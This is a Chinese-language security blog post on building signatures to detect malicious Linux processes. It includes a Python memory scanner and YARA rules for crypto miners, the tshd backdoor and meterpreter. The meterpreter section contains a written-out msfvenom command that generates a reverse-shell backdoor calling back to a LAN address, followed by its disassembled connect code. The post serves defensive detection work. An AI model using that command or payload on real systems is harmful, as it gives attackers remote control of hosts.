恶意进程特征提取 前段时间在做Linux系统下恶意进程扫描的相关工作,简单来说就是对进程内存进行正则匹配,然后将匹配到的进程揪出来,简化版本的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import redef get_process_addr (pid ): map_file = open ("/proc/" +str (pid)+"/maps" ,"rb" ) line = bytes .decode(map_file.readline()) start_addr = int (line.split("-" )[0 ],16 ) maps_list = [] for line in map_file.readlines(): line = bytes .decode(line) maps_list.append(line) for i in range (len (maps_list)): if maps_list[i].find("heap" ) != -1 : tmp = maps_list[i-1 ].split("-" )[1 ] end_addr = int (tmp.split(" " )[0 ],16 ) process_size = end_addr - start_addr return (start_addr,process_size) def get_process_code (pid,addr,size ): mem_file = open (f"/proc/{pid} /mem" ,"rb" ) mem_file.seek(addr) data = mem_file.read(size) return data def reg_data (data,regex ): if re.search(regex,data,flags=0 ) == None : return False else : return True def main (): test_pid = 2200 (start_addr,process_size) = get_process_addr(test_pid) data = get_process_code(test_pid,start_addr,process_size) if reg_data(str (data),"here is regex" ): print ("匹配成功!" ) if __name__ == "__main__" : main()
进程内存特征的提取本质上和病毒特征码 的提取是一致的,都是找到能精确匹配到某段长字符串 的特征短字符串 。提取到的特征码,一方面要能覆盖到足够多某种类型的病毒,一方面又要让误报率最低,前期为了提高进程扫描的覆盖率做了大量对公开的yara库改写,后续为了降低误报率,去除了一些明显会误报的特征,同时又提取了一些可能会被攻击者使用到的工具的一些特征。
以下简单讨论下特征提取时遇到的比较典型的例子,最后总结下提取特征的小技巧。
挖矿工具 恶意进程对安全建设有明显提升的一个场景就是挖矿,主要原因就是挖矿会在系统中常驻,比较容易被进程扫描检测到。
挖矿工具加载为进程后,比较明显的特征主要有:连接的矿池域名/IP(虽然这本来是云防火墙该做的事情)、挖矿使用的协议的特征。前者不多赘述,后者主要是stratum协议,部分相关的yara规则如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 rule cpuminer { meta: description = "https://github.com/pooler/cpuminer" author = "ivoripuion" date = "2022/01/02" strings: $s1 = "submit_upstream_work" condition: any of ($s*) and uint32(0) == 0x464C457F } rule xmrig { meta: description = "https://xmrig.com/" author = "ivoripuion" date = "2021/12/28" strings: $s1 = "Usage: xmrig " $s2 = "stratum+tcp" condition: any of ($s*) and uint32(0) == 0x464C457F } rule stratum { meta: description = "stratum mining protocol" author = "ivoripuion" date = "2022/1/25" strings: $s1 = "mining.subcribe" $s2 = "mining.notify" $s3 = "mining.authorize" $s4 = "mining.submit" $s5 = "mining.set_difficulty" condition: any of ($s*) }
在一些挖矿的工具中(比如门罗币挖矿工具xmrig),这些字符串(”stratum+tcp”)会被写到配置文件里,当挖矿工具运行后,配置文件被读取到内存中,相关的规则就可以匹配到这些进程。
这里使用xmrig简单测试一下,xmrig的pid为1995,使用的特征为比较经典的stratum协议,修改的代码:
1 2 3 4 5 6 def main (): test_pid = 1995 (start_addr,process_size) = get_process_addr(test_pid) data = get_process_code(test_pid,start_addr,process_size) if reg_data(str (data),"stratum\+tcp" ): print ("匹配成功!" )
实验结果如下:
通用payload 在攻防对抗中,攻击者经常会将后门进行变形混淆,此时文件查杀很容易漏掉这些后门,而后门中的关键payload(比如socket通信)加载到进程后特征通常是不会变的,这也是进程扫描对文件查杀能力补充一个很好的场景。
比较常见的生成后门的工具有msf、cs等,因为主要做的还是ELF文件特征提取工作,这里简单分析下msf中常见的一个通用payload。
生成后门:
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.17.137 LPORT=1234 -f elf -o payload
payload比较关键的代码:
1 2 3 4 5 6 7 8 LOAD: 00000000004000AD 48 B9 02 00 04 D2 C0 A8 11 89 mov rcx , 8911A8C0D2040002h LOAD: 00000000004000B7 51 push rcx LOAD: 00000000004000B8 48 89 E6 mov rsi , rsp LOAD: 00000000004000BB 6A 10 push 10h LOAD: 00000000004000BD 5A pop rdx LOAD: 00000000004000BE 6A 2A push 2Ah LOAD: 00000000004000C0 58 pop rax LOAD: 00000000004000C1 0F 05 syscall
此时的栈帧状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0x2a RBX 0x0 RCX 0x8911a8c0d2040002 RDX 0x10 RDI 0x3 RSI 0x7fffffffe448 ◂— 0x8911a8c0d2040002 R8 0x0 R9 0xa R10 0x22 R11 0x306 R12 0x0 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffe448 ◂— 0x8911a8c0d2040002 RIP 0x4000c1 ◂— syscall /* 0x2579c0854859050f */
系统调用号0x2a
,即sys_connect
,三个参数分别是0x3
、0x7fffffffe448 ◂— 0x8911a8c0d2040002
、0x10
,分别对应fd
、uservaddr
、addrlen
,此时实现的函数为:
1 sys_connect(0x3 ,0x7fffffffe448 ,0x10 );
这里sys_connect
底层实现方法为inet_stream_connect()
或者inet_dgram_connect()
,这里不多做赘述,我们只关心代码会在后门设置时变动的地方,即第二个参数uservaddr
,该参数指向的内存是上文用push rcx
压入的机器码:
1 2 LOAD: 00000000004000AD 48 B9 02 00 04 D2 C0 A8 11 89 mov rcx , 8911A8C0D2040002h
uservaddr
类型为sockaddr
结构体,定义如下:
1 2 3 4 struct sockaddr { unsigned short sa_family; char sa_data[14 ]; };
此时sa_family
为00 02
,代表后面跟的信息为ipv4地址和端口;sa_data
为04 D2 C0 A8 11 89
,翻译一下:
这里的端口和ip地址也和设置payload时的参数对上了:
1 LHOST=192.168.17.137 LPORT=1234
所以这段payload代码不会变的部分就是除了这段地址信息的部分:
1 48 B9 00 02 ?? ?? ?? ?? ?? ?? 51 48 89 E6 6A 10 5A 6A 2A 58 0F 05
这也是socket编程通用的系统调用,为了降低误报,可以再加上一些payload中其他的机器码,最终的yara规则如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 rule x64_meterpreter_reverse_tcp { meta: description = "x64/meterpreter/reverse_tcp" author = "ivoripuion" date = "2021/11/25" strings: $s1 = {48 B9 02 00 ?? ?? ?? ?? ?? ?? 51 48 89 E6 6A 10 5A 6A 2A 58 0F 05 59 48 85 C0 79 25} condition: all of them and uint32(0) == 0x464C457F }
这里我也用这个规则在vt hunt中捕获到了不少的恶意样本:
根据作者代码习惯提取特征 在提取特征的过程中,发现了还有一些病毒的特征是由作者的书写习惯导致的,比如内存初始化时的一些机器码,这里简单举个例子。
tshd是一个tiny shell,由于其代码精简,所以很容易被魔改,并且被控制端的程序tshd运行后会常驻,所以改后门很契合恶意进程扫描的场景。
后门的作者在初始化AES密钥时对内存进行了一段初始化:
1 2 memset ( pel_ctx->k_ipad, 0x36 , 64 );memset ( pel_ctx->k_opad, 0x5C , 64 );
关键部分我编译后对应的机器码:
1 2 3 .text: 000000000040119E 48 BA 36 36 36 36 36 36 36 36 mov rdx , 3636363636363636h ...... .text: 00000000004011E0 48 BA 5C 5C 5C 5C 5C 5C 5C 5C mov rdx , 5C5C5C5C5C5C5C5Ch
根据不同版本的编译器,存放0x5C
这段的寄存器也会不同,所以这段的yara特征可以写成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 rule tshd { meta: description = "https://github.com/orangetw/tsh" author = "ivoripuion" date = "2021/11/25" strings: $s1 = {48 ?? 5C 5C 5C 5C 5C 5C 5C 5C} $s2 = {48 ?? 36 36 36 36 36 36 36 36} condition: all of ($s*) and uint32(0) == 0x464C457F }
这部分的代码为初始化密钥时使用到的,很少攻击者会去魔改后门后对这部分的特征进行删除。
将yara规则改为正则,使用进程扫描的代码测试下:
1 2 3 4 5 6 def main(): test_pid = 2486 (start_addr,process_size) = get_process_addr(test_pid) data = get_process_code(test_pid,start_addr,process_size) if reg_data(str(data),"\x48(.){1}\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C"): print("匹配成功!")
实验结果如下:
总结 最后简单总结下,这里简单介绍了根据程序读取的配置文件、使用的协议、一些通用的系统调用以及病毒作者的代码习惯的角度去提取病毒的特征码。其实提取特征码以我现在来说还是没有什么共性的方法,主要还是在提高特征码覆盖率和降低误报率的前提下,在病毒中搜索比较明显的字符串。